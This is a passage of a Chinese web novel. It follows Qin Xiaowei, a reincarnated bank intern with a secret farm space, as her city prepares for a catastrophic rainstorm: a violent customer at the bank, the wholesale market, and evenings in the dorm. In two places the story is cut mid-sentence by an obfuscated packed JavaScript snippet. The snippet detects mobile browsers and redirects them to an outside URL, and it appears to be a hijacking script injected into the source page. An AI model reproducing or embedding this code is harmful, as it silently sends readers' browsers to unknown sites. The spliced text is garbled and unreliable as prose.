“MD，老子八点半就过来排队，现在都快十点了，等了一个半小时，你们这破银行一分钱都取不出来，一直让我等，你们是不是在耍老子？”男人愤怒的吼声在大厅内响起，就算大厅里非常嘈杂，他的声音依旧十分明显。 秦小薇正在接待一对老年夫妻，听到男人的吼声后，立刻顺着声音看过去。 她看到一个穿着条纹衫、戴着金链子的中年男人正把手里的一次性水杯泼向一位穿着职业装的年轻女孩。 他们给客人接的是温水，杯子里的水温度并不高，所以女孩并没有被烫伤，但她上半身穿的是白衬衣，沾水后就成了半透明的，紧紧贴在身上，显露出里面肉粉色的内衣。 中年男人身高超过一米八，年轻女孩不到一米六，水珠顺着她的下巴流到地上，两人体型差的对比让她看起来分外可怜。 但中年男人却没有因为她看起来可怜就放过她，伸手就去揪她胸口装饰用的领结，连着她衬衣的扣子都扯下来了一颗。 秦小薇的眉头皱了起来，她冲着自己正在接待的客户说了句“抱歉”就大步跑了过去。 “这位先生，请你冷静一点。”秦小薇的声音很冷。 她抓住男人的胳膊，一根根剥开他拽着女人衣领的手指。 穿越后，秦小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043600|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇力气大了很多，明明两人身高差不多，中年男人还比她胖，但中年男人被她强行掰开手指的时候，却毫无反抗之力，他伸脚踢踹的动作也被秦小薇轻松躲过去了。 “你TM干什么？快放开老子，信不信老子揍你￥%#￥……”中年男人还在叫嚣着，嘴里污言秽语不断。 秦小薇非常想回一句“有本事你就动手啊，不动手就是孙子”，然后揍对方一顿，但想到和客户动手可能会影响自己的实习证明，她还是压下了自己的脾气。 和客户动手和完不成领导的指标可不一样，大厅里这么多人拿着手机在拍呢…… 她扔开男人的手腕，像是擦什么脏东西似的把碰过男人的手指在西裤上擦了擦，护着年轻女孩后退了几步：“方圆，你去处理一下，这里有我和其他人。” 方圆捂着衬衫上崩开的扣子，表情还有些惊惶，听到秦小薇的话，她的表情茫然了一瞬，才点点头，离开了大厅。 “臭**，我*#￥%”秦小薇擦手的动作似乎让中年男人感受到了侮辱，他嘴里污言秽语不断，越骂越大声，却顾忌着秦小薇刚刚掰他手指的力气，不敢动手。 秦小薇没有说话，她站在原地，冷着一张脸盯着他，眼里却是明显地跃跃欲试。 要是对方先动手，她就属于正当防卫，也就不会影响她的实习。 但很遗憾，秦小薇没等到中年男人继续动手——今天客户太多，银行增加了安保人员，中年男人只骂了几句，就被拿着电击棍的保安按在地上了。 “小秦，你和方圆没事吧？”附近的同事也跑了过来。 秦小薇摇头：“我没事，方圆好像被吓到了。” “小秦，你胆子也太大了，竟然直接就冲上去了……”负责带她的刘宏说教了两句，在触及秦小薇比他还高一个头的身高后，他渐渐消音。 小秦是体育生，真要是对上了，她应该也不会吃亏…… 大厅里还有很多客户需要接待，见她没事，围过来的同事很快就散了去忙自己的事。 秦小薇拍了拍西装裤上并不存在的褶皱，也朝着她之前接待的那对老年夫妻走去…… 运钞车直到十点半才姗姗来迟，期间有好几个储户因为等太久发脾气，好在都被工作人员安抚住了，没闹出什么大乱子。 上午的业务基本上都是取款，虽然很忙，但银行中午并没有延长营业时间，让员工准时下班了。 今天附近能选的外卖比昨天多了几家，但配送费依旧很高，秦小薇决定用早上买的烧卖和即食鸭腿对付一顿。 可能是因为业务数量一下子翻了好几倍，她上午碰到的奇葩客户有点多，一上午乳腺都不怎么通畅。 今天好几个同事都没来上班，下午肯定会更忙，昨天没搬完的东西吃完饭经理可能会让他们继续搬……她中午想休息一会，不想被经理拉去干苦力，因此下班后她就直接骑着电动车去了附近的商场。 商场里有电动按摩椅，她从厕所出来后就直奔按摩椅而去。 5. 第 5 章 秦小薇今天运气比较好，她刚刚在码头收钓竿的时候，两根鱼竿分别收上来了一块鱼肉和一筐西梅。 秦小薇也不知道为什么海里能钓上西梅，不过她之前担心农场空间的作物长得太快，出产的东西有问题，还自费送了些样品去专业的检测机构检测，得到的结果是农场出产的玉米、小麦等农产品的营养物质的含量比普通的玉米小麦高好几倍。 农场空间的存在太离奇了，虽然穿越后，小麦的生产速度从两分钟收获变成了两个小时收获，但对比现实里的小麦来说还是太快了，秦小薇很担心那些东西吃了以后对身体有害…… 毕竟她自己也会吃农场里出产的东西，再怎么小心也不过分。 拿到专业检测机构的报告后，她就放心吃农场里的东西了，有时候仓库的空间不够用爆仓了，她还会拿工坊生产的东西当饭吃。 西梅一筐有五斤，她准备中午用西梅加个餐，补充一点维生素。 吃午饭的时候，秦小薇打开了自己的私人手机，预警中心上午又发了一遍短信，内容和昨天差不多，她仔细看了一遍，确定没增加什么新内容，才关掉短信。 小程序里的审核已经通过了，秦小薇也看到了自己的额度，她小摊的主营产品是爆米花和面包，偶尔也会卖玉米片，因此她只拿到了三张购买许可，分别是食用油、玉米、小麦面粉，每样都是5000斤一个月。 使用说明里还标注了，要是本月的营业额提高了，提交流水和相关资料后，下个月的购买上限可以在本月的基础上继续往上提，特殊情况还可以拨打服务电话临时申请增加购买上限…… 秦小薇算了算，按照她目前的情况，就算真的去买原材料生产爆米花和面包，每月15000斤的购买额度她也用不完。 看来网上说得没错，原材料购买额度确实给得非常宽松，商家就只是进货的时候多了一道核销程序而已。 秦小薇啃着西梅思考了一会，算了下手上的现金，她决定凌晨去趟批发市场，看看能不能抢到一点“货”。 上面突然这么大动作，肯定别有用意，时间一长，每家店的进货量都会被记录在案。 现在是大数据时代，她要是一直没有进货记录，肯定会引起怀疑，不管多少，她每个月肯定要消耗一点粮油额度。 至于为什么不等到暴雨过后再去……可能是她做贼心虚，担心被大数据发现异常。 既然已经知道了这个政策的存在，秦小薇就想早点开始给空间出产的东西打“掩护”。 毕竟农场空间是她穿越后的“金手指”，要是没有空间，她一个普通人，现在估计连助学贷款都没还清，更别说有存款了！ 至于买回来的东西怎么处理，等她有了正式的店铺，可以想办法把它们变成商品卖出去，她再把空间里出产的东西混在里面。 这就要她多费点心思了……想到这里，秦小薇不由得有些烦躁。 但她很快冷静下来，先顾好眼前的事再说吧！ 她距离实习结束还有好几个月呢！ 他们学校有硬性规定，他们专业大三下学期开始实习，必须实习满九个月并获得实习证明才能毕业，她已经实习了四个多月，还得再在银行待四个多月才能拿到实习证明。 她还要忙毕业论文的事，之后还得答辩，开店少说也在半年后了。 到时候这个什么许可证说不定就取消了！ 吃完中饭，秦小薇扫了四十分钟的按摩椅，闭上眼睛享受按摩椅的服务，在按摩椅的揉捏震动中，忙了一上午的她差点在嘈杂的商场睡过去。 按摩结束，秦小薇闭着眼睛正准备小睡一会，却被拆卸工人叫醒了：“姑娘，这个按摩椅我们要搬回公司，你去别的地方睡……” 秦小薇：“……” 她四处看了看，决定买杯奶茶，再在商场里逛逛消磨时间。 虽然今天是工作日，但商场里依旧十分“热闹”，不过热闹的是商家，商场里的客人并不多，一二三层的商家搬家的同时还不忘把自家的东西“打折”出售。 新闻里说暴雨只会淹到三层，但四五层的商家也不放心，都在收拾东西，把店里的东西做防水处理。 原本干净整洁的商场今天乱糟糟的，虽然没什么客人，但商场正中央依旧换了巨幅宣传海报，只不过海报的宣传内容是普通人该如何应对即将到来的暴雨…… 奶茶店里有三个员工，三个都在打包东西，放鲜果的冰箱空空荡荡的。 “请问现在可以点单吗？”秦小薇低头看着奶茶店的菜单。 “可以。”年轻女孩放下手上的机器，大步走了过来，“我们现在只有原味奶茶和茉莉奶绿。” 秦小薇的视线从菜单上挪开，她想了想：“一杯茉莉奶绿。” 等待的间歇，她在吧台旁坐下，和奶茶店的员工聊了起来：“你们现在打包东西，明天是不开门了吗？” 正在做奶茶的女孩闻言回了一句：“下午就关门，本来昨天下午就要关门的，但是老板没找到放货的地方，才拖到今天……” “那你们下午就能放假了，真好！”想到这两天银行的工作，秦小薇目露羡慕。 “唉，我倒是宁愿不下暴雨老板不放假，我家住三楼，现在还不知道怎么办呢！” 这两天在银行，秦小薇听到了不少客户讨论搬家的事，也算是“略有心得”。 她随口给女孩出了几个主意：“你可以去黑金大厦那边问问，那边的老板把空置的楼层都收拾出来了，免费让大家放东西，不过保安不负责东西的安全，我听说有人打算带着铺盖搬过去住几天，自己看着东西；还有第一高中，那边是官方牵头的安置点；你还可以去卖房软件上看看，我们银行放东西的地方就是找房地产开发商租的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043601|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦小薇说的好几个方案都是他们不知道的，原本正在打包东西的两个年轻男孩也来了精神，停下手上的动作专心听着，时不时追问几句，女孩把奶茶交给秦小薇之后，直接拿出手机打开租房软件，搜索市里的高层房源。 因为店员太过“热情”，秦小薇在奶茶店待了十几分钟，离开前，还被几人塞了几袋开封了的奶茶粉、黑糖粉和没有煮的珍珠。 据说是老板找不到工人，便让三人帮忙搬东西，然后用店里已经开封的奶茶原料当“酬劳”，他们自己喝不完，就分了秦小薇一些，感谢她帮忙出主意。 有便宜不占是王八蛋，她也没有推辞，直接收下了。 商场二楼有个大型超市，离正式上班还有一会，秦小薇原本想去超市逛逛，买点零食补充家里的库存，但超市昨天卖空了库存就关门了，现在连货架都被搬空了。 商场里，二楼还在营业的店铺最多，秦小薇便在二楼的服装区逛了起来，服装区的价格一夜之间降了好多，当季新款都是三折四折，某些反季的厚衣服更是骨折价，她只逛了两家店，就花一百五买到了一件质量超好的长款羽绒服。 要不是下午还要上班，秦小薇觉得自己能在这里逛一下午！ 临近上班，她才依依不舍地离开了商场，坐在电动车上，她回头看了一眼，隔了很远，但商场的大屏幕依旧非常显眼，上面正在播放宁市暴雨的预警消息…… 市政似乎非常担心普通市民会错过暴雨预警，从昨天开始，公交站、商场的广告都换了下来，全都在宣传暴雨预警，预警短信也是一天好几条。 下午她是踩着点回到银行的，她预料得没错，中午留在公司吃饭的员工都被拉去干苦力搬东西了，下午上班的时候，他们个个满脸疲惫。 看到同事的状态，秦小薇不由得庆幸自己中午跑得快。 有个经理对她“临阵脱逃”的态度有些不满，看到她手上提着的东西，还教训了她几句：“小秦，年轻人就该多吃苦，对你未来有好处……” 秦小薇低着头数衣服上的纹路，假装认真听训，实际上对他试图PUA自己的话左耳朵进右耳朵出，根本没过脑子。 唉，才忙了一天半她就有点厌烦了！这班上着真没意思！ 真怀念以前每天都能摸鱼的日子！ 希望时间能快进到几个月之后，直接拿实习证明…… 下午不仅忙，还不太顺利，秦小薇碰到了试图让她帮忙输取款密码的大叔、不带任何证件来取小三账户里的钱的原配、取了钱之后立马把钱存回去还想要她联系方式的油腻男……一整个鸡飞狗跳。 秦小薇又双叒叕一次见识了物种的多样性。 今天银行延长营业时间到了晚上八点，关门后，秦小薇一直忙到十点四十才下班。 下班换衣服的时候，她碰到了方圆，就顺嘴问了她上午那件事的后续。 6. 第 6 章 方圆：“……他赔了我300，本来是要送警察局的，但警察局那边说这两天案子特别多，他们抽不出人手来调解，让我们自己协商解决，我师傅和保安大哥商量了一下，让他赔我500，他不愿意，最后给300私了了。” 听到她的回答，秦小薇忍不住皱了下眉头，觉得只赔三百有点太便宜那个男的了，不过事情已经有了定论，她也没多做评论。 方圆：“薇薇，你请假了吗？明天还来不来？” 秦小薇点头：“来啊，刚刚经理开会的时候不是说了吗？明天不准无故缺勤……你明天有事？” 方圆点头：“我妈发动家里的亲戚，帮我抢了一张回家的机票，明天中午出发，她和我爸今天给我打了十几个电话，一直催我明天回去，但是经理没批我的假。” “经理说要是现在请假，给领导留下不好的印象，以后转正就难了，还让我站好最后一班岗，说我现在做的领导都看在眼里……” 秦小薇：“……”这不就是打一棒子再给个甜枣外加画大饼吗？就算方圆明天留下来工作，她也不会因为多上了一天班就能转正。 秦小薇这两天上班的时候就听说了，现在很多人都在“逃离”Q省，打算等特大暴雨结束了再回来，很多外地人也趁着这个机会回老家了。 方圆是和她同一批进来的实习生，和秦小薇“做一天和尚撞一天钟”，拿到实习证明就跑路的态度不同，方圆是想留下来的，她平时工作很认真，领导给她布置一些奇葩“销售”任务，她也会认真去做。 方圆抬眼看着秦小薇，征询她的意见：“薇薇，你说我该怎么办啊？” 可能是因为白天秦小薇帮她拦下了那个中年男人，她的声音里不自觉地带了一丝依赖。 秦小薇想了想，提了个折中的建议：“要不你找个理由请半天假，你家阳台的窗户加固了吗？用这个理由试试？今天张姐他们都没来，你坚持到明天中午，已经很敬业了，我觉得领导也不会这么计较的……” 方圆叹了口气：“我觉得周经理挺斤斤计较的。” 察觉到她已经有了决定，秦小薇便没再多说什么，和她打了招呼，就提着购物袋离开了更衣室。 今天下班比较晚，路况比昨天好一些，不过秦小薇依旧比平时多花了二十多分钟才到家。 她上楼简单收拾了一些行李，又把出租房里电器沙发之类不能被水泡的东西收进空间里，她进空间整理了一番才提着刚从烤箱里拿出来的炸鸡出门。 刚关上门，对面的屋门就打开了，挑染了银灰色头发的年轻男人甩着车钥匙走了出来，他穿着彩色的印花衬衫和黑色皮夹克，衬衫只松松扣了下面几颗扣子，露出了大片胸膛。 大半夜戴着墨镜，一副花花公子准备出门嗨的模样。 秦小薇的视线在他的车钥匙上停了一秒。 真有钱啊！又换车了。 她在这里住了一年多了，对大部分邻居都很陌生，有些连他们的脸都不记得，但对面这位是个例外，这位基本上每个月换一辆跑车，那引擎声，隔一里地都能听到，一看就是有钱人。 当初他搬进来的时候，动静非常大，他把九楼的半层楼、二十几套房都买下来了，直接打通了重新装修。 对方搬进来以后，他们家阿姨还给她送了一盒六千多的巧克力当乔迁礼物。 那盒巧克力让她印象非常深刻……主要是她两辈子都没吃过那么贵的巧克力。 秦小薇一直不明白，她这位有钱邻居为什么不去住别墅或是高档小区，要住这种鱼龙混杂的临街公寓，看他平时开的车，他应该不缺钱。 秦小薇冲对方微微点头，就算是打过招呼了。 虽然已经半夜了，但电梯依旧十分繁忙，两人不约而同地略过电梯间，去爬楼梯。 “美女，要帮忙吗？”下楼前，年轻男人指了指秦小薇手上一粉一白两个行李箱。 秦小薇摇了摇头：“我提得动。” 说着，她就一手一个行李箱，开始下楼，她姿态轻松，下楼的脚步飞快，不知道的还以为她提的是两个空塑料袋。 年轻男人：“……” 两人一起去了负一楼的停车场，不过年轻男人的目标是一辆宝蓝色的跑车，而秦小薇的目标则是一辆刷了粉色油漆、画了卡通图案的电动三轮车。 他们的车子隔得并不远，开锁的时候，秦小薇听到对方接了个电话。 “……我在家呢！没出去！阿姨和保镖都在，我这半个月都待在家里，绝对不出门……我保证！” 听到电话的内容，秦小薇忍不住抬头看了他一眼。 “行了，陆昼，见好就收啊！小屁孩，好好在家敲代码，等游戏做出来了我给你投资……我的事你就别管了！” 把行李箱平放在后车斗里，秦小薇骑上电动三轮车就离开了，三轮车还没开出停车场，她就听到身后传来一阵引擎的轰鸣声，宝蓝色的跑车飞快超过她率先开出停车场。 引擎的声音太大，原本在停车场忙着搬卸货物的工人纷纷顺着声音看了过去。 秦小薇觉得跑车好看是好看，但是太高调了，那发动机的声音，似乎是在强行向众人宣告“快来看，我来了”“快来看，我走了”。 商店里也有跑车，她因为好奇开跑车的体验去年花金币买了一辆大红色的，车速非常快，但是太吵了，她就刚拿到的时候在农场空间开过两次，平时就停在路边当装饰。 学校离她住的公寓很近，电动三轮车五分钟就能到，平时这个时间，校门口只能看到零星几辆送外卖的电动车，但今天，进出的却是一辆辆小货车。 秦小薇和学校的门卫大叔很熟，刷学生卡的时候，她顺嘴问了一句那些车是干嘛的。 “都是食堂采购的菜和粮食，新闻上不是说要下暴雨还涨水吗？咱们学校这么多师生，总不能让他们困在学校里没东西吃……” 和门卫大叔寒暄了几句，秦小薇就骑着三轮车回寝室了，路上，她发现那些卡车去的并不是食堂的方向，反 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“平时其实还好，下午可以一直摸鱼休息，这两天是因为暴雨的消息，好多人过来取钱，才会这么忙。” 她实习的支行工资很低，但工作强度在一众实习公司里也是垫底的存在，秦小薇当时选它就是因为工作清闲，她能有更多的时间干自己的事。 否则，以她的成绩，和室友一样找个月薪4000+、转正后工资翻倍的实习工作完全没有问题。 范槿：“这两天确实好多人取钱，傍晚我和琳琳去商业街的自动取款机取钱，排了快两个小时才轮到我们，还有武警扛着枪守在边上，取款机里没钱了就拆开机子换一盒新的，我还是第一次看到那么多现金，一盒一盒的……” 秦小薇：“运钞车这两天也很忙，早上因为运钞车来晚了，我们银行有几个客户差点打起来了……你们三个明天要去实习吗？” 范槿摇头：“我本来只请了两天假，明天要回去上班的，但是老板让人把公司里的电脑打印机全都搬走了，直接给我们放假了。她们俩也差不多，都放假了。” 秦小薇目露羡慕：“真好！我明天还要再干一天，凌晨还要早起帮我叔叔去批发市场进货，后天才能开始躺平……真担心我会猝死！” 见她语气幽怨，范槿“扑哧”一声笑了出来：“不会的，你可是咱们1206作息最规律、头发最茂密的养生达人，每天雷打不动八小时睡眠。” 秦小薇装模作样地叹了口气，玩笑道：“现在不行了，我昨天就只睡了四个小时，今天估计更短。” 说话间，两人上了十二楼。 以往学校寝室到了十一点就会断电，但这两天一到三楼的学生要搬家，晚上就没有断电。 平时很多学生都踩着断电的点爬上床，这两天不断电，很多人都开始放飞自我，十二点多了，还有很多夜猫子没睡觉。 秦小薇的三个室友也没睡，肖琳琳在看电影，段霞则在和朋友连麦打游戏。 7. 第 7 章 秦小薇放下行李箱，晃了晃手上的打包带，询问几人：“我带了炸鸡回来，你们吃不吃？” “吃！”原本还在看电影、打游戏的两人立刻转过头来。 “我也要！”范槿动作最快，直接抢了两个鸡中翅，“嘶，好烫——好吃！薇薇，你在哪里买的？” 秦小薇也拿了一个翅根，含糊不清地回道：“超市买的半成品炸鸡自己做的，这几天不在家里，我担心停电冰箱里的东西会臭掉，就把它们全做了，你们多吃点，我一个人吃不了这么多。” 其实她是特地做的，好几个月没回寝室住了，带点吃的和室友们增进一下感情。 “我这里有可乐，你们喝不喝？”其余三人也贡献出了自己的饮料和零食。 “我有鸡爪……” 她们四个都是体育生，平时运动量很大，根本不担心吃夜宵会长胖，不到十几分钟，将近两斤的炸鸡和一大堆零食饮料就被四人解决得干干净净。 “我们怎么这么能吃？咱们之前囤的那些吃的不会不够吧？”范槿推了推自己的小胖脸，看着垃圾桶里吃剩的骨头满脸忧郁。 秦小薇打开行李箱，把带来的草莓麦片分给几人，闻言笑着回道：“那我凌晨去批发市场的时候再给你带点？” 范槿想了想：“带一箱水果，我觉得我水果留少了，今天好多同学来找我们买水果，我一不小心就卖多了……对了，薇薇，这是给你留的泡面和水果。” 范槿从柜子里拿了三个塑料袋递给秦小薇。 秦小薇打开看了看，泡面有三种口味，每种五包，苹果和圣女果少一点，加在一起大概三斤。 这些加上她行李箱里的东西，就算学校食堂全军覆没，她也不用担心自己会在暴雨期间挨饿。 秦小薇：“饭饭，这些多少钱？我转给你。” 范槿拿出手机开始算价格：“这个牌子的泡面批发是一块六一包，十五包就是二十四，苹果是四块五一斤，我给你留了多少来着，我再称下……” 她打开体重秤，先自己站上去，之后又提着苹果站了上去，给苹果“称重”。 折腾了一番，秦小薇才把水果和泡面的钱转给她。 段霞上午去排队买了桶装水，学校的桶装水七块钱一桶，水桶要另外收二十块押金，等还桶的时候会退押金，段霞一共买了四桶，秦小薇问了是谁付的钱之后，给段霞转了七块。 除了桶装水，她们还用洗衣服的塑料桶装了四桶自来水，塑料桶上面还盖了保鲜膜遮挡灰尘。 暴雨的时候肯定不缺洗漱的生活用水，按照她们平时的消耗，段霞今天搬回来的四桶桶装水足够她们喝了。 凌晨还要去批发市场，秦小薇和范槿她们打听了一下批发市场的现状，洗漱完换了床单被罩就睡了，三个室友也默契地戴上了耳机。 之前住寝室的时候，她有时候半夜会去农场空间收菜，为了防止室友发现她不见了，她特地买了遮光效果超级好的带顶床帘。 拉上床帘后，就算室友们一整晚不关灯，也不会影响她的睡眠。 范槿她们说批发市场凌晨三点开门，为了顺利买到东西，秦小薇只睡了两个多小时就被运动手环的闹钟震醒了。 拉开床帘的时候，她发现还有两个室友在下面，剩下那个虽然躺在床上，但手上还拿着手机。 “你们还没睡？”秦小薇很震惊。 肖琳琳：“咳咳宿舍不熄灯，我总觉得还没到睡觉时间……” 秦小薇：“……” 她下床换了衣服，简单收拾了一下就背着包离开了寝室。 批发市场距离他们学校十几公里，好在路上不堵车，她只花了半个多小时就到了目的地。 凌晨三点到五点是批发市场一天中最热闹的时候，因为超市、菜场抢不到菜，今天这里还多了很多早起的普通市民。 平时批发市场的大门是24小时敞开的，但这两天来的人太多了，里面堵得很厉害，为了方便商家下货，管理员早早就把大门关了，只让送货的卡车进，三点后才放买菜的市民进去。 批发市场的大门一打开，人群就蜂拥着冲了进去，原本门可罗雀的店铺瞬间人潮汹涌。 这是省里最大的批发市场，里面有上万家店，市里售卖的蔬菜、水果、米面，百分之七十以上都来源于这个批发市场，甚至附近其他城市的店铺，也会来这里拿货。 这个批发市场的面积和一个小型城镇差不多，步行要走好几个小时才能绕着批发市场走一圈。 为了方便商家运货，批发市场的路面很宽，秦小薇没有下车，直接开着电动三轮车进去了。 来得人太多了，里面略微有些拥挤，进去后，电动三轮车的速度一下子慢了下来。 秦小薇是卡着开门的点来的，有很多人挤在她前面。 不过按照这里的存货量，她倒是不用担心自己今天买不到东西。 她之前来过批发市场，对这里的布局还算熟悉，很快就找到了粮油区。 粮油店都在一起，秦小薇跑了好几家对比价格，发现价格都差不多，就随便选了一家店。 粮油店不零售，就连绿豆都得五十斤五十斤的买，市场有规定，一个人一次最多只能购买200斤粮食20L油，多了就要出示购买许可证让老板核销二维码。 当然，你要是没有许可证，分几次进出店铺或是在不同的店铺分批购买，老板也会睁一只眼闭一只眼当没看到。 购买许可的政策刚出来不久，除了少数几个，大部分商家都没把它当回事…… 逛了一圈，秦小薇觉得那个许可证有没有都差不多。 但由于空间的存在，她自己做贼心虚，知道出了这么个政策，不消耗一点“额度”她就不安心，因此她没有像其他人那样分批购买。 三轮车容量有限，秦小薇要了500斤干玉米粒、1000斤面粉以及10桶20L装的玉米油。 玉米粒批发两块一斤，面粉两块一一斤，玉米油210一桶，加在一起刚好5200。 按照摊子上的生意情况，她原本计划买更多的面粉和玉米油，但是三轮车容量有限，批发市场里面人太多了，车子进出很麻烦，要找合适的地方把它们收进农场空间会消耗不少时间，只能等暴雨停了再来“进货”。 看到堆得高高的后车斗，秦小薇知道许可证的消息后产生的 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但她在路上碰到了几波开着卡车搬共享电动车的工人，对方告诉她，公司要求他们在中午之前，按照定位把全市所有的共享电动车搬回去，免得车子被雨泡坏了。 秦小薇：“……” 看来明天得骑三轮车上班了，要不然下班以后可能回不来…… 骑三轮车不能绕小路，要不早点出发……不行，七点出发已经很早了，领导要扣工资就扣吧！ 反正也没多少，等雨停了多卖几盒爆米花就赚回来了。 秦小薇找了条没人的巷子收了车上的东西，之后才带着水果回去。 段霞还没睡，下楼帮她开了女寝的大门，两人一人一箱水果，走楼梯上了12楼。 快到12楼的时候，段霞忽然开口问她：“薇薇，这两箱水果你自己打算留多少？” 秦小薇满脑子都是回去补觉的事，闻言随口答道：“每种留两三斤吧。” 段霞：“我们几个肯定吃不完这么多，剩下的我和饭饭她们帮你在年级群……” 段霞的话还没说完，耳边就响起一阵急促的狗叫，在寂静的黑夜里显得十分突兀。 两人被吓了一跳，下意识屏住呼吸、停下脚步，秦小薇刚好走到楼梯间门口，她侧耳倾听了一会，狗叫声是从楼道口左手边的寝室里传出来的。 两人站了几秒钟，见没有狗从寝室里冲出来，才抱着纸箱继续往前走，身后的狗叫声依旧在继续，秦小薇压低声音，问身旁的段霞：“校规不是不让养狗吗？” 段霞也压低了声音，和她解释道：“在外面养的，那个女生实习之后就搬出去和男朋友同居了，他们俩一起养了一只拉布拉多，他们租的房子在二楼，社区的工作人员让他们搬去临时安置点，他们没去，直接回了学校……我下午还去和狗握手了，看着挺乖的，没想到晚上这么闹腾。” 比起完全陌生的临时安置点，肯定是住了好几年的学校宿舍更靠谱，让秦小薇选，她肯定也会选学校宿舍。 说话间，两人到了1206门口，两个室友已经睡了，两人没再聊天，放下箱子就各自上床睡觉了。 8. 第 8 章 秦小薇没睡多久就被生物钟叫醒了，时间还早，三个室友睡得正香，她轻手轻脚地洗漱出门，并没有吵醒她们。 商业街几家超市一上货就被抢空了，包装食品供不应求，不过学校几个食堂都在正常营业，连早餐种类都没有减少，看起来和平时并没有什么区别。 食堂有国家补贴，价格比外面的店铺便宜很多，同样的早餐，秦小薇昨天花了十三，今天就只花了五块钱。 她提着包子豆浆准备找个位置坐下吃，但刚转身就被五个年轻男女拦住了：“同学，你能用校园卡帮我们买一下早餐吗？我给你现金……” 秦小薇四处看了看，学校这两天停课，早起吃早饭的学生并不多，一排窗口，就她一个人在买早饭，她便点头答应了。 “谢谢。”几人拿到秦小薇的校园卡后很快就选好了早餐。 “我刷了三块，你们刷了多少？” “我刷了四块五。” “我七块，Q大的食堂好便宜啊！” “重点大学国家补贴多，阿彬他们学校饭菜的价格也挺便宜的……” “……” 几人算好钱，给了秦小薇两张纸币。 五人的态度很热情，端着早餐直接在她边上坐下了，和她打听Q大的事。 从几人的话语中，秦小薇得知，他们几个是隔壁省的大学生，特地请假过来旅游的，据说是担心暴雨过后，Q省的景点被破坏，再也看不到了……所以趁着现在雨还没下下来，过来看看，免得留下什么遗憾。 Q大作为Q省排名第一的百年名校，自然也是他们旅行的目的地之一。 秦小薇：“……”怎么会有人这个时候来旅游？大家不都在抢票往外跑吗？ 秦小薇并不觉得自己的学校有什么值得打卡的景点，只给他们推荐了商业街和食堂的美食。 匆匆吃完早饭后，她就离开了食堂。 共享电动车公司的员工干活十分卖力，一夜之间，街上已经看不到各种颜色的共享电动车了。 骑电动三轮车没法走小路，她花了比昨天更长的时间通勤，对于她的迟到，经理并没有多说什么，因为运钞车也迟到了，她来晚了也不影响什么。 银行今天依旧很忙，连午休都取消了，秦小薇不得不忍着饥饿上班。 好在银行今天没有延长营业时间，下午三点半就把卷闸门关上了——银行要把所有的设备转移到附近小区的高层，免得它们被水泡坏了。 秦小薇今天没躲过去，帮着搬了不少东西。 搬完东西，领导还留他们开了个会，批评这两天没到岗的员工……秦小薇听得直打哈欠。 人家都没来，他说再多他们也听不到，纯粹是在浪费大家的时间。 不过今天没有加班到九、十点，这让她十分满意。 嘿嘿，下班以后就开始放长假啦！ 下班的路依旧很堵，但秦小薇心情很好，甚至还有心情哼歌。 快到家时，她找了个没监控的地方把电动三轮车收进空间里，步行去了家附近的商场，她在网上团购了一个套餐，打算在商场里吃顿大餐再回寝室，但商场里的店铺全都关门了，连小区楼下的便利店都搬空了货架，停止营业。 秦小薇没办法，只能回家去空间里弄点吃的。 给工坊、黑土地安排好生产任务后，她进了猎人小屋边上的露台，“露台”是系统的命名，实际上它是一个四面通风的八角亭。 这是秦小薇在空间里的露天厨房，空间里没有电，自己拉线安装抽油烟机成本太高，她在这里做饭的次数也不多，干脆就在八角亭里安排了一个简易的露天厨房。 露天厨房里只有一口汤锅、一个八孔燃气灶、一个煤气罐以及一些简单的油盐。 燃气灶和煤气罐是她从一个卖砂锅粉的摊贩那里收的二手货，对方准备转行，这些设备的价格卖得特别低，她当时想着空间里还没有燃气灶，就收了一套。 她往汤锅里倒了些水，点燃了灶台。 今天钓竿收上来了虾肉，晚饭秦小薇准备吃海鲜面。 在等待水开的时候，她出了空间，又检查了一遍快要被搬空的公寓，确定门窗都关好了，暴雨的时候不会漏水进来才彻底放心。 她没煮高汤，但是海鲜面的味道一点都不差，唯一的问题就是黑土地目前只解锁了六种植物：小麦、玉米、胡萝卜、甘蔗、棉花和草莓。 秦小薇只能用胡萝卜丝来代替她想吃的绿叶蔬菜。 凌晨去批发市场的时候应该买一箱菠菜的！ 不过蔬菜批发一箱几十斤，她一个人可能会吃到吐…… 吃完了海鲜面，秦小薇又用昨天带回来的奶茶粉泡了杯原味奶茶。 吃饱喝足后，她才准备回寝室。 虽然今天五点多就下班了，但她回到学校的时候，依旧接近九点。 平时营业到十点的食堂已经关门了，不仅是食堂，商业街的超市、小食店也全都关门了，运动场倒是挺热闹的，有不少男孩女孩借着路灯的光芒在操场跑步、打球…… 电梯白天就修好了，秦小薇坐电梯上了12楼。 三个室友都窝在寝室上网，她稍微坐了一会儿就开始收拾昨天带回来的两个行李箱。 她收拾东西的时候，范槿指着门后两个大纸箱开口道：“薇薇，你带回来的黄瓜和柿子我们都没动，咱们现在把它们分了？” “行。”秦小薇点点头，找了个塑料袋，装了几斤脆柿和水果黄瓜，“我留这些就够了，剩下的你们自己分，多余的再卖了。” “薇薇，这两样多少钱一斤啊？” “柿子四块六，水果黄瓜三块五。” “好便宜啊！我记得商业街那边的柿子要八块钱一斤……”三人纷纷放下手机，围过来挑水果。 